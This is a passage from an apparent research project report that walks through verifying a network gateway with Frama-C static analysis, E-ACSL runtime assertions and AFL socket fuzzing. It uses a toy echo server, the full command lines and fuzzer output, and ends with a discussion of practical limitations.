In the command line above, it is worth noticing that we used "-fno-stack-protector" option. This is 
useful as in case of stack corruption during execution, we want to get information provided by the 
counter-measure functions. Raising a stack protection - basically generated by the compiler - 
would hide this information, then possibly making harder to make the diagnosis of the 
corresponding failure. 

Also notice that E-ACSL permits to specify the compiler to use, and in our case, it will be afl-gcc 

(at least at this stage) which embeds instrumentation phases related to AFL mechanisms. 
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Then, it is possible to call afl-fuzz which is the fuzzer itself that will launch (and control) the 

program under test, starting from regular (correct) test cases in folder “in/” and generating 

unsuccessful (i.e. raising an exception / violating a sought property) test cases in folder “out/”: 

 

 

$ afl-fuzz -i in -o out -m none ./FOO.CURSOR.e-acsl 

 

 

This is indeed for the “theory”. In practice however, things may go sometimes either wrong, or may 
require more expertise, modifications of code perimeter (or even sometimes may be intractable). 

In the following, we present the events as they occurred during our experimentations, with their 
workarounds when available. Of course, we simplified as much as possible the multiple iterations 
we had to cope with, to hopefully present to the reader a more synthetic overview of our activities 
during our Use Case realization. 

These experiences, described hereafter, should in some ways be useful for future works, as well 
as for improvements to tools and methods to facilitate simpler cybersecurity verifications. 

 

 

The Write-Up Itself! 

 

Our primary goal is to detect vulnerabilities in our network gateway software (with persistent 
connections) which is one of the main (initial) components from our Use Case. 

Since the gateway is integrated within a confidential application, the different analyses and code 
presented in this section are simplified accordingly. 

At first, we must note that basically, AFL does not deal with socket-based network connections. 
This point is largely discussed on the Internet. 

There exist some workarounds, like desock-ing the code by pre-loading "socket" statement 
interceptors. The tool experimented by DA in VESSEDIA is preeny15, for which a quite abundant 
(yet non-official) literature is available on the Internet. However, due to the architecture of our 
software, this solution was tested but finally considered as not applicable (not elaborated here for 
convenience).   

 

There are two reasons why the notion of persistent connections is dimensioning in terms of 
verification (and further, in terms of means for the fuzzing): 

- During a network connection, the server, once closed by the client (especially in case of 
erroneous input), yields the listen socket in a TCP TIME_WAIT state, which does not permit to 
reuse the same port. Of course it is possible to reuse an address by modifying the socket options 

(using libc setsockopt() function typically), but for some technical reason, the server cannot 
make use of this hint. Note that as long as a socket is in TIME_WAIT, there is no means to bind it 
again, and then the server has to wait at least several seconds before being launched again. 
Generally, servers open another port and wait for a new connection to accept. But in our case, 
there is no such mechanism of TCP port changing. The figure below presents the automata of the 
different connection states for a given socket to clarify the process. 

                                                

15 https://github.com/zardus/preeny : “Preeny helps you pwn noobs by making it easier to interact with services locally. It 
disables fork(), rand(), and alarm() and, if you want, can convert a server application to a console one using 
clever/hackish tricks, and can even patch binaries” (sic) 
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Figure 4:State-flow for network connections 

 

- Once a connection is bound, listened to and accepted by the server, this latter waits for several 
inputs from the client, more or less regularly spaced over time. In no way we would like to 
reconnect for each new input: the connection must stay persistent over time. 

 

A simplified code on the server side is presented below. It will be temporarily the toy-example on 
which we will explain our different verification attempts and operations. It is a classical 
"bind/listener" server which creates a socket, here on port number 22000, binds it, listens to, 
accepts connection, and gets the inputs (some strings) from this connection in a loop (the way the 
inputs are then processed is not detailed here): 

 

#include <arpa/inet.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <netdb.h> 

#include <string.h> 

#include <stdlib.h> 

#include <stdio.h> 

#include <unistd.h> 

 

#define DIM 10 

 

int main() 

{ 

    int ret=0; 

    char str[DIM]="start"; 

    int listen_fd, sockfd; 

    struct sockaddr_in servaddr; 

 

    listen_fd = socket(AF_INET, SOCK_STREAM, 0); 

    bzero( &servaddr, sizeof(servaddr)); 

  

    servaddr.sin_family = AF_INET; 

    servaddr.sin_addr.s_addr = htonl(INADDR_ANY); 

    servaddr.sin_port = htons(22000); 

  

    ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); 

    if(ret==-1) 

    { 

      printf("error: bind returns -1\n"); 

    } 
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    ret = listen(listen_fd, DIM); 

    if(ret==-1) 

    { 

      printf("error: listen returns -1\n"); 

    } 

  

    sockfd = accept(listen_fd, (struct sockaddr*) NULL, NULL); 

    if(sockfd==-1) 

    { 

      printf("error: accept returns -1\n"); 

    } 

 

    while(strcmp(str,"quit")) 

    { 

      printf("."); 

        bzero( str, DIM); 

        read(sockfd,str,DIM); 

        printf("Echoing back - %s",str); 

    } 

    return 0; 

} 

 

Then, we introduce some ACSL ghost code and a property to check, about the length of the 
regular input for instance. This property has no particular functional rationale, but only aims at 
illustrating the kind of verification which will be performed later on the original server code. 

The ghost code (statement starting with “//@ ghost ...”) computes the length of the string, and an 
assert checks if this length is bounded (once again, the limits 5 and 9 have no particular meaning 

here). We also add a functional implementation of __e_acsl_assert() function which will be called 
in case one of the properties is violated during execution. 

 

#include <arpa/inet.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <netdb.h> 

#include <string.h> 

#include <stdlib.h> 

#include <stdio.h> 

#include <unistd.h> 

 

void __e_acsl_assert(int pred,char *kind,char *fct,char *pred_txt,int line) { 

 if(!pred) { 

  printf ("   (!)   %s in %s (%d)   %s\n",kind,fct,line,pred_txt); 

  abort(); 

 } 

} 

 

#define DIM 10 

 

int main() 

{ 

    int ret=0; 

    char str[DIM]="start"; 

    int listen_fd, sockfd; 

    struct sockaddr_in servaddr; 

 

    listen_fd = socket(AF_INET, SOCK_STREAM, 0); 

    bzero( &servaddr, sizeof(servaddr)); 

  

    servaddr.sin_family = AF_INET; 

    servaddr.sin_addr.s_addr = htonl(INADDR_ANY); 

    servaddr.sin_port = htons(22000); 

  

    ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); 
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    if(ret==-1) 

    { 

      printf("error: bind returns -1\n"); 

    } 

     

    ret = listen(listen_fd, DIM); 

    if(ret==-1) 

    { 

      printf("error: listen returns -1\n"); 

    } 

  

    sockfd = accept(listen_fd, (struct sockaddr*) NULL, NULL); 

    if(sockfd==-1) 

    { 

      printf("error: accept returns -1\n"); 

    } 

 

    while(strcmp(str,"quit")) 

    { 

      printf("."); 

        bzero( str, DIM); 

        read(sockfd,str,DIM); 

        //@ ghost int lenstr = strlen(str); 

        //@ assert lenstr>=5 && lenstr<=9;  

        printf("Echoing back - %s",str); 

    } 

    return 0; 

} 

 

The given code is then analyzed with Frama-C EVA and WP, with libc annotations provided by 
Frama-C, with the command: 

frama-c-gui -eva -wp server.c 

 

An extract of the code after analysis is presented in the Frama-C GUI below: 

 

Figure 5:Server code analyzed with Frama-C Argon (EVA and WP) 
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The property statuses are the following, after EVA and WP analyses: 

 

... 

-------------------------------------------------------------------------------- 

--- Properties of Function 'main' 

-------------------------------------------------------------------------------- 

 

[    -    ] Assertion (file bidon3.c, line 57) 

            tried with Eva. 

[  Valid  ] Instance of 'Pre-condition 'valid_memory_area'' at call 'bzero' (file 

bidon3.c, line 27) 

            by Eva. 

[    -    ] Instance of 'Pre-condition 'valid_sockfd,sockfd'' at call 'bind' (file 

bidon3.c, line 33) 

            tried with Eva. 

[  Valid  ] Instance of 'Pre-condition 'valid_read_addr'' at call 'bind' (file bidon3.c, 

line 33) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition (file bidon3.c, line 36)' at call 'printf_va_2' 

(file bidon3.c, line 36) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition 'valid_sockfd'' at call 'listen' (file bidon3.c, 

line 39) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition (file bidon3.c, line 42)' at call 'printf_va_3' 

(file bidon3.c, line 42) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition 'valid_sockfd'' at call 'accept' (file bidon3.c, 

line 45) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition for 'addr_null' 'addrlen_should_be_null'' at call 

'accept' (file bidon3.c, line 45) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition for 'addr_not_null' 'valid_addrlen'' at call 

'accept' (file bidon3.c, line 45) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition for 'addr_not_null' 'addr_has_room'' at call 

'accept' (file bidon3.c, line 45) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition (file bidon3.c, line 48)' at call 'printf_va_4' 

(file bidon3.c, line 48) 

            by Eva. 

[    -    ] Instance of 'Pre-condition 'valid_string_s1'' at call 'strcmp' (file 

bidon3.c, line 51) 

            tried with Eva. 

[  Valid  ] Instance of 'Pre-condition 'valid_string_s2'' at call 'strcmp' (file 

bidon3.c, line 51) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition (file bidon3.c, line 53)' at call 'printf_va_5' 

(file bidon3.c, line 53) 

            by Eva. 

[  Valid  ] Instance of 'Pre-condition 'valid_memory_area'' at call 'bzero' (file 

bidon3.c, line 54) 

            by Eva. 

[    -    ] Instance of 'Pre-condition 'valid_fd'' at call 'read' (file bidon3.c, line 

55) 

            tried with Eva. 

[  Valid  ] Instance of 'Pre-condition 'buf_has_room'' at call 'read' (file bidon3.c, 

line 55) 

            by Eva. 

[    -    ] Instance of 'Pre-condition 'valid_string_s'' at call 'strlen' (file bidon3.c, 

line 56) 

            tried with Eva. 

[    -    ] Instance of 'Pre-condition (file bidon3.c, line 58)' at call 'printf_va_6' 

(file bidon3.c, line 58) 

            tried with Eva. 
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[  Valid  ] Instance of 'Pre-condition (file bidon3.c, line 58)' at call 'printf_va_6' 

(file bidon3.c, line 58) 

            by Eva. 

... 

-------------------------------------------------------------------------------- 

--- Status Report Summary 

-------------------------------------------------------------------------------- 

   306 Completely validated 

   856 Considered valid 

    11 To be validated 

     4 Dead properties 

     1 Unreachable 

  1178 Total 

-------------------------------------------------------------------------------- 

 

Some of the properties are valid, which will permit to get rid of them during further “fuzzing” 
operations: they won’t be translated as executable statements by E-ACSL and thus alleviate the 
code size and execution time during the tests.  

 

This is the reason why we introduced WP and EVA analyses before the E-ACSL code 
generation: in order to discharge automatically as many properties (i.e. their corresponding 
proof obligations) as possible before the fuzzing steps. 

 

However, some of these properties are still not validated, and of course among which the "lenstr 

>= 5 ..." assertion, which could be obviously violated. 

 

Later, we will let AFL do the task of generating a counter-example violating this assert for us, and 
possibly, through a persistent socket connection.  

Before that, we have to generate a new code with E-ACSL, which will translate the few assertions 
not validated by executable statements. 

This is done thanks to the following command line calling E-ACSL script: 

 

$ e-acsl-gcc.sh --rt-verbose --rt-debug -k -c --rte=all -o server.eacsl.c -O server.exe -

-oexec-e-acsl=server.eacsl.exe server.c --frama-c-extra="-eva -wp -wp-timeout 1 -remove-

unused-specified-functions" --e-acsl-extra="-e-acsl-no-validate-format-strings -e-acsl-

full-mmodel" --cpp-flags="-DE_ACSL_EXTERNAL_ASSERT" --ld-flags="-g3" 

 

 

This command launches E-ACSL after RTE (expected to generated complementary alarms), EVA 
and WP analyses to validate (and then avoid to translate) already verified properties. 

 

This point is important: RTE and EVA generate alarms when relevant. But some of them 
may be redundant, or due to value domain over-approximations computed by abstract 
interpretation. Then, it is possible to ask a plug-in like WP to discharge as much 
annotations/alarms as possible, by automated means (automatic theorem provers typically, 
or even faster the proof obligation simplifier procedure provided with WP).  
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The new source code generated by E-ACSL is the following: 

 

... 

int main(void) 

{ 

  int __retres; 

  int listen_fd; 

  int sockfd; 

  struct sockaddr_in servaddr; 

  __e_acsl_memory_init((int *)0,(char ***)0,4U); 

  __e_acsl_globals_init(); 

  __e_acsl_store_block((void *)(& servaddr),16U); 

  __e_acsl_store_block((void *)(& sockfd),4U); 

  __e_acsl_store_block((void *)(& listen_fd),4U); 

  __e_acsl_store_block((void *)(& __retres),4U); 

  int ret = 0; 

  __e_acsl_store_block((void *)(& ret),4U); 

  __e_acsl_full_init((void *)(& ret)); 

  char str[10] = 

    {(char)'s', (char)'t', (char)'a', (char)'r', (char)'t', (char)'\000'}; 

  __e_acsl_store_block((void *)(str),10U); 

  __e_acsl_full_init((void *)(& str)); 

  __e_acsl_full_init((void *)(& listen_fd)); 

  listen_fd = __gen_e_acsl_socket(2,SOCK_STREAM,0); 

  __gen_e_acsl_bzero((void *)(& servaddr),sizeof(servaddr)); 

  __e_acsl_initialize((void *)(& servaddr.sin_family),sizeof(sa_family_t)); 

  servaddr.sin_family = (unsigned short)2; 

  __e_acsl_initialize((void *)(& servaddr.sin_addr.s_addr),sizeof(in_addr_t)); 

  servaddr.sin_addr.s_addr = __gen_e_acsl_htonl((unsigned int)0x00000000); 

  __e_acsl_initialize((void *)(& servaddr.sin_port),sizeof(in_port_t)); 

  servaddr.sin_port = __gen_e_acsl_htons((unsigned short)22000); 

  __e_acsl_full_init((void *)(& ret)); 

  ret = __gen_e_acsl_bind(listen_fd,(struct sockaddr const *)(& servaddr), 

                          sizeof(servaddr)); 

  if (ret == -1) printf(__gen_e_acsl_literal_string); 

  __e_acsl_full_init((void *)(& ret)); 

  ret = __gen_e_acsl_listen(listen_fd,10); 

  if (ret == -1) printf(__gen_e_acsl_literal_string_2); 

  __e_acsl_full_init((void *)(& sockfd)); 

  sockfd = __gen_e_acsl_accept(listen_fd,(struct sockaddr *)0,(socklen_t *)0); 

  if (sockfd == -1) printf(__gen_e_acsl_literal_string_3); 

  while (1) { 

    { 

      int tmp_0; 

      __e_acsl_store_block((void *)(& tmp_0),4U); 

      __e_acsl_full_init((void *)(& tmp_0)); 

      tmp_0 = __gen_e_acsl_strcmp((char const *)(str), 

                                  __gen_e_acsl_literal_string_4); 

      if (! tmp_0) { 

        __e_acsl_delete_block((void *)(& tmp_0)); 

        break; 

      } 

      { 

        size_t tmp; 

        __e_acsl_store_block((void *)(& tmp),4U); 

        printf(__gen_e_acsl_literal_string_5); 

        __gen_e_acsl_bzero((void *)(str),(unsigned int)10); 

        __gen_e_acsl_read(sockfd,(void *)(str),(unsigned int)10); 

        __e_acsl_full_init((void *)(& tmp)); 

        tmp = __gen_e_acsl_strlen((char const *)(str)); 

        /*@ assert rte: signed_downcast: tmp ≤ 2147483647; */ 

        __e_acsl_assert(tmp <= 2147483647U,(char *)"Assertion", 

                        (char *)"main", 

                        (char *)"rte: signed_downcast: tmp <= 2147483647", 

                        165); 

        __e_acsl_assert(tmp <= 2147483647U,(char *)"RTE",(char *)"main", 

                        (char *)"signed_downcast: tmp <= 2147483647",166); 
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        int lenstr = (int)tmp; 

        __e_acsl_store_block((void *)(& lenstr),4U); 

        __e_acsl_full_init((void *)(& lenstr)); 

        /*@ assert lenstr ≥ 5 ∧ lenstr ≤ 9; */ 
        { 

          int __gen_e_acsl_and; 

          if (lenstr >= 5) __gen_e_acsl_and = lenstr <= 9; 

          else __gen_e_acsl_and = 0; 

          __e_acsl_assert(__gen_e_acsl_and,(char *)"Assertion", 

                          (char *)"main", 

                          (char *)"lenstr >= 5 && lenstr <= 9",167); 

        } 

        printf(__gen_e_acsl_literal_string_6,str); 

        __e_acsl_delete_block((void *)(& lenstr)); 

        __e_acsl_delete_block((void *)(& tmp)); 

        __e_acsl_delete_block((void *)(& tmp_0)); 

      } 

    } 

  } 

  __e_acsl_full_init((void *)(& __retres)); 

  __retres = 0; 

  __e_acsl_delete_block((void *)(& __bswap_64_0)); 

  __e_acsl_delete_block((void *)(& __bswap_32_0)); 

  __e_acsl_delete_block((void *)(& __bswap_64)); 

  __e_acsl_delete_block((void *)(& __bswap_32)); 

  __e_acsl_delete_block((void *)(str)); 

  __e_acsl_delete_block((void *)(& ret)); 

  __e_acsl_delete_block((void *)(& servaddr)); 

  __e_acsl_delete_block((void *)(& sockfd)); 

  __e_acsl_delete_block((void *)(& listen_fd)); 

  __e_acsl_delete_block((void *)(& __retres)); 

  __e_acsl_memory_clean(); 

  return __retres; 

} 

... 

 

The reader will refer to the E-ACSL documentation for details about statements added by the plug-
in (mostly dedicated to memory shadowing). However, the code is exposed above in order to 
evaluate the number of additional lines of code which is typically added by E-ACSL and which may 
have – at least – a significant impact on the execution speed when applying fuzzing process.  This 
will be discussed further in this report. 

 

To improve the level of confidence in the new generated code by E-ACSL, a manual review 
of the code is performed in-house. This is a mandatory (also time-consuming) task which 
contributes to the confidence the user may have in the Frama-C plug-in, as the additional 
code should not interfere with the original code behaviour. Modifying the code, even by 
automatic tools, is a sensitive operation, unless these tools are duly “qualified” (this aspect 
is not addressed in this report). 

 

We can see indeed in this code that among a lot of code dedicated to the memory management 
added by E-ACSL and which will be executed at runtime, there are also annotations provided by 
ACSL function contract for some libc functions.  

And there is also our annotation "lenstr >= 5 ..." duly translated as an executable statement: 

 

... 

        /*@ assert lenstr ≥ 5 ∧ lenstr ≤ 9; */ 
        { 

          int __gen_e_acsl_and; 

          if (lenstr >= 5) __gen_e_acsl_and = lenstr <= 9; 
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          else __gen_e_acsl_and = 0; 

          __e_acsl_assert(__gen_e_acsl_and,(char *)"Assertion", 

                          (char *)"main", 

                          (char *)"lenstr >= 5 && lenstr <= 9",167); 

        } 

... 

 

This code extract is self-explanatory: simply notice that if the assertion is violated, our 
__e_acsl_assert function code will be called and executed, therefore running one of our potential 
cybersecurity counter-measures. 

This mechanism permits a certain level of control on the behavior to apply in case of activation of 
security weaknesses/vulnerabilities: the counter-measure functions may have some information 
needed to either filter out, select or adapt their behaviour to the context in which the property 
violation occurred. 

 

When compiling and linking this code, we also have to make it compliant with AFL. And for this 
matter, we have to specify that the compiler will be the AFL one, in charge of adding the 
instrumentation permitting to trace which branches were covered by executions during fuzzing. 

The command line is then: 

 

$ e-acsl-gcc.sh --rt-verbose --rt-debug -k -c -G afl-gcc --rte=all -o server.eacsl.c -O 

server.exe --oexec-e-acsl=server.eacsl.exe server.c --frama-c-extra="-eva -wp -wp-timeout 

1 -remove-unused-specified-functions" --e-acsl-extra="-e-acsl-no-validate-format-strings 

-e-acsl-full-mmodel" --cpp-flags="-DE_ACSL_EXTERNAL_ASSERT" 

 

The option "-G afl-gcc" in the line above will launch this instrumentation and the compilation 
directives needed. The reader will refer to the documentation of E-ACSL for more details on this 
command line. 

Then, to execute this code, we have first to download the release of AFL and compile it: 

 

$ wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz 

 

$ tar zxvf afl-latest.tgz 

 

$ cd afl* 

 

$ make 

 

$ sudo make install 

 

 

Note that during several weeks, we met a bug in some versions of GCC-7 which made 
impossible to compile AFL/afl-gcc instrumentation compiler, under Ubuntu v18 Linux 
distribution. This bug was later fixed: https://bugs.launchpad.net/ubuntu/+source/gcc-
7/+bug/1770342 

 

Later, we discovered a special release of AFL which is dedicated to network application fuzzing. 
This release proposes some command line options making possible to fuzz through a socket 

https://bugs.launchpad.net/ubuntu/+source/gcc-7/+bug/1770342
https://bugs.launchpad.net/ubuntu/+source/gcc-7/+bug/1770342
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connection. This release is the 1.95b one, available on several websites on the Internet16. We 
make use of this version of AFL in the following. 

 

AFL instruments a certain number of locations in the code according to the control flow, as showed 
in stdout: 

 

 

$ e-acsl-gcc.sh --rt-verbose --rt-debug -k -c -G afl-gcc --rte=all -o server.eacsl.c -O 

server.exe --oexec-e-acsl=server.eacsl.exe server.c --frama-c-extra="-eva -wp -wp-timeout 

1 -remove-unused-specified-functions" --e-acsl-extra="-e-acsl-no-validate-format-strings 

-e-acsl-full-mmodel" --cpp-flags="-DE_ACSL_EXTERNAL_ASSERT" 

 

... 

afl-cc 1.95b by <lcamtuf@google.com> 

afl-as 1.95b by <lcamtuf@google.com> 

[+] Instrumented 17 locations (32-bit, non-hardened mode, ratio 100%). 

+ /usr/local/bin/afl-gcc -DE_ACSL_SEGMENT_MMODEL -DE_ACSL_NO_ASSERT_FAIL -DE_ACSL_DEBUG -

DE_ACSL_STACK_SIZE=32 -DE_ACSL_HEAP_SIZE=128 -DE_ACSL_VERBOSE -DE_ACSL_DEBUG_VERBOSE -

std=c99 -m32 -g3 -O0 -fno-omit-frame-pointer -fno-builtin -fno-merge-constants -Wall -

Wno-long-long -Wno-attributes -Wno-nonnull -Wno-undef -Wno-unused -Wno-unused-function -

Wno-unused-result -Wno-unused-value -Wno-unused-function -Wno-unused-variable -Wno-

unused-but-set-variable -Wno-implicit-function-declaration -Wno-empty-body -

DE_ACSL_EXTERNAL_ASSERT -I/usr/local/bin/../share/frama-c/e-acsl/ -o server.eacsl.exe 

server.eacsl.c /usr/local/bin/../share/frama-c/e-acsl//e_acsl_rtl.c -g3 

/usr/local/bin/../lib/libeacsl-dlmalloc.a /usr/local/bin/../lib/libeacsl-gmp.a -lm 

afl-cc 1.95b by <lcamtuf@google.com> 

afl-as 1.95b by <lcamtuf@google.com> 

[+] Instrumented 68 locations (32-bit, non-hardened mode, ratio 100%). 

afl-as 1.95b by <lcamtuf@google.com> 

[+] Instrumented 5265 locations (32-bit, non-hardened mode, ratio 100%). 

... 

 

In the next step, we create a first "initialization" input file (a valid file raising no exception) which will 
be tested and mutated, according to the genetic algorithm process implemented in AFL: 

 

 

$ rm -Rf in/ out/ 

 

$ mkdir in/ out/ 

 

$ cat > in/essai << EOF 

ABCD1234 

EOF 

 

 

The first input to test will be the simple string "ABCD1234". 

Some configurations of the system must be done to allow AFL to work properly. Typically, the 
following command will instruct the system to output coredumps as files instead of sending them to 
a specific crash handler: 

 

$ sudo echo core > /proc/sys/kernel/core_pattern 

 

 

                                                

16 https://github.com/jdbirdwell/afl  

https://github.com/jdbirdwell/afl
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And now, the fuzzing can be launched: 

 

$ AFL_SKIP_CPUFREQ=1 afl-fuzz -i in -o out -t 300+ -D 7 -m none -Ntcp://127.0.0.1:22000 

./server.eacsl.exe 

 

(Please refer to Annex 3 in this report, or the AFL v1.95b documentation, for further comments on 
this command line) 

 

AFL results are displayed on the console: 

                  american fuzzy lop 1.95b (server.eacsl.exe) 

 

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐ 

│        run time : 0 days, 0 hrs, 0 min, 5 sec        │  cycles done : 0      │ 

│   last new path : none seen yet                      │  total paths : 1      │ 

│ last uniq crash : 0 days, 0 hrs, 0 min, 1 sec        │ uniq crashes : 1      │ 

│  last uniq hang : none seen yet                      │   uniq hangs : 0      │ 

├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤ 

│  now processing : 0 (0.00%)         │    map density : 627 (0.96%)           │ 

│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │ 

├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤ 

│  now trying : interest 32/8         │ favored paths : 1 (100.00%)            │ 

│ stage execs : 6/106 (5.66%)         │  new edges on : 1 (100.00%)            │ 

│ total execs : 590                   │ total crashes : 93 (1 unique)          │ 

│  exec speed : 116.6/sec             │   total hangs : 0 (0 unique)           │ 

├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤ 

│   bit flips : 0/40, 0/39, 0/37                      │    levels : 1          │ 

│  byte flips : 0/5, 0/4, 0/2                         │   pending : 1          │ 

│ arithmetics : 1/280, 0/25, 0/0                      │  pend fav : 1          │ 

│  known ints : 0/27, 0/112, 0/0                      │ own finds : 0          │ 

│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │ 

│       havoc : 0/0, 0/0                              │  variable : 0          │ 

│        trim : 44.44%/2, 0.00%                       ├────────────────────────┘ 

└─────────────────────────────────────────────────────┘             [cpu: 26%] 

 

The AFL documentation will provide hints to interpret the console output above. 

 

At this stage, it shows a case of (unique) crash, which can be found in the ./out folder, namely the 
string: 

 ABCD 

This is one of the possible inputs (issued from mutations of the original input) for which our code 
will abort because it violates our sought property (related to string length), as expected.  

Due to some architecture and LLVM releases issues, it was not possible for us to test the 
__AFL_LOOP() option through the afl-clang-fast compiler, permitting in theory to perform in-
process fuzzing with AFL.  

Anyway, doing in-process fuzzing with AFL often necessitates to modify in-depth the source code 
(by hand), which is not recommended for sensible code, as it can have unexpected side-effects, 
like introducing new flaws. “In-process” approach will be discussed later in this report: it presents in 
particular some decisive advantages in terms of execution time. 
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With a proper “quick-and-dirty” instrumentation, we obtain the following code, intended to loop for 
ever and accept inputs at each iteration: 

 

... 

  FILE *f=fopen("./log_debug","a"); 

  int i=-1; 

   

  fprintf(f,"==========\n"); 

 

    while(1) 

    { 

      fprintf(f,"%d --> %s\n",++i,str); 

      fflush(f); 

        bzero( str, DIM); 

        read(sockfd,str,DIM); 

        //@ ghost int lenstr = strlen(str); 

        //@ assert lenstr>=5 && lenstr<=9;  

        write(sockfd,str,DIM); // to keep, to avoid TIME_WAIT 

        printf("Echoing back - %s",str); 

    } 

     

    fclose(f); 

... 

Note: statements related to log and debug management can be of course removed which will 
improve execution time. 

 

We obtain the following results: 

 
┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐ 

│        run time : 0 days, 0 hrs, 5 min, 2 sec        │  cycles done : 0      │ 

│   last new path : 0 days, 0 hrs, 0 min, 50 sec       │  total paths : 6      │ 

│ last uniq crash : 0 days, 0 hrs, 4 min, 49 sec       │ uniq crashes : 2      │ 

│  last uniq hang : 0 days, 0 hrs, 0 min, 55 sec       │   uniq hangs : 2      │ 

├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤ 

│  now processing : 2* (33.33%)       │    map density : 578 (0.88%)           │ 

│ paths timed out : 0 (0.00%)         │ count coverage : 1.18 bits/tuple       │ 

├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤ 

│  now trying : havoc                 │ favored paths : 2 (33.33%)             │ 

│ stage execs : 15.7k/40.0k (39.28%)  │  new edges on : 1 (16.67%)             │ 

│ total execs : 34.3k                 │   new crashes : 34.2k (2 unique)       │ 

│  exec speed : 121.4/sec             │   total hangs : 13 (2 unique)          │ 

├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤ 

│   bit flips : 0/192, 0/189, 0/183                   │    levels : 3          │ 

│  byte flips : 0/24, 0/21, 0/15                      │   pending : 4          │ 

│ arithmetics : 2/1341, 0/218, 0/0                    │  pend fav : 0          │ 

│  known ints : 0/124, 0/569, 0/660                   │ own finds : 5          │ 

│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │ 

│       havoc : 2/15.0k, 0/0                          │  variable : 0          │ 

│        trim : 27.27%/7, 0.00%                       ├────────────────────────┘ 

└─────────────────────────────────────────────────────┘             [cpu: 37%] 

+++ Testing aborted by user +++ 

[+] We're done here. Have a nice day! 

 

The crashes obtained, and mentioned into the upper right corner of the screen above are the 
following: 

 

$ ls out/crashes/ 

id:000000,sig:06,src:000000,op:arith8,pos:4,val:-10  README.txt 

id:000001,sig:06,src:000000,op:havoc,rep:8            
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$ cat out/crashes/id\:000000\,sig\:06\,src\:000000\,op\:arith8\,pos\:4\,val\:-10  

ABCD 

 

$ cat out/crashes/id\:000001\,sig\:06\,src\:000000\,op\:havoc\,rep\:8  

'ABC^ 

C'''ABC^ 

CD 

 

log_debug file contains multi-step scenarios like: 

... 

========== 

0 --> start 

1 --> 'ABC^C 

2 --> 'BC5C 

3 --> ^C^C 

4 --> 'ABC^C 

5 --> ^^CCD 

========== 

... 

 

Non-printable characters do not – by definition – appear above but the corresponding file can be of 
course re-played as an input against the executable code to investigate the detected crash (with 
any debugger, for further investigations). 

These results (including the ones obtained on real case studies extracted from the Use Case) are 
of course of interest. Having counter-example scenarios violating sought cybersecurity properties 
is a precious outcome to cover particular execution cases17. Moreover, it can be used as 
regression tests generally difficult to define by hand. 

But the main issues met so far are: 

- some in-depth modifications in the code are mandatory. This does not comply with the “spirit” of 
CURSOR method which is supposed to be as straightful as possible. In particular, depending on 
the kind of code, it can be necessary to add statements restricting the random inputs passed to the 
executable in order to avoid spurious scenarios (i.e. which could not violate the properties in real 
life because their domains of value are not reachable) which results in a certain amount of extra-
effort, 

- AFL 1.95b, necessary to deal with sockets (and avoid desock/preeny issues met earlier) is not 
maintained anymore and, times to times, some strange behaviors/crashes (not investigated) 
happened after hours of generation, 

- on more realistic server and client code, the execution speed is very low and does not permit to 
expect good code structural coverage (in the sense of AFL). A lot of effort would be required to 
improve this speed, which is once again not compliant with the straightforward CURSOR approach 
envisaged for cybersecurity verification activities. 

 

As a consequence, on the confidential code under analysis in our Use Case, no preeminent bug 
was found after a significant amount of time. 

These limitations described above are of course not 100% prohibitive, as typically for R&T 
experimentations, we can cope with more flexible constraints regarding code modifications during 
our investigations. But this cannot be definitely the case in an operational development context.  

                                                

17 Excepting realism issues (input scenarios might never appear in real life due to constraints on the environment). 
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4.2 Write-Up on CURSOR with AFL, LLVM/LibFuzzer and HonggFuzz 
analyses on a network gateway 

 

One of the main code under analysis is a network gateway application of about: 

 ~ 200 functions,  

 ~ 2000 statement locations,  

 ~ 500 function calls. 

We then prepare this code for analysis with Frama-C by pre-processing it, thus modifying slightly 

the Makefile to generate the so-called “.i” files, to ease the forthcoming manipulations. 

The size of the whole file after pre-processing (including headers with numerous macros and 
declarations) is 6,445 LoC. 

 

This gateway ensures a certain number of security functions, which will not be described here for 
confidentiality reasons. But it is worth mentioning that it makes large use of OpenSSL libraries (for 
signature checking, ...), and XmlParser libraries (parsing of xml instances e.g. containing 
signatures, etc.)18. 

 

At DA, the team in charge of the gateway verification is isolated from the operational 
development team. This intends to avoid mutual “influences” which could be misleading 
when hunting bugs in the applications. It is a common practice in critical software 
development indeed. 

However, the development and verification teams interacted at the beginning of the Use 
Case realization in order to define the objectives and the assumptions on the operational 
environment the gateway will be used in, and of course at the end of the verification 
process (indeed also after each prominent result found). 

 

To help the reader understand the different steps processed during the Use Case realization, this 
section presents the main write-up of the verification activities (excepting some redundant “round-
trips” due to investigations on minor issues between DA and CEA partner, to avoid too many 
details). 

 

Generally, the code to be fuzzed requires some preparation: during fuzzing, one has 
typically to avoid exhausting file or disk resources or sockets, etc. 

Then, for instance, writing to file should be either inhibited before fuzzing, or could be 
performed only if disk resource is assessed as sufficient, or even "simulated" (only the 
increase of disk usage is tracked, but no disk operation is actually performed). 

The corresponding procedures are not presented in this report (indeed, it is a quite classical 
process applied when writing test harnesses). However, Frama-C can help as its plug-in 
development ability permits to parse any C source code, finding statements potentially 
error-prone, and if necessary automatically rewriting portions of code to fit the desired 
behaviour of the program during fuzzing. 

 

                                                

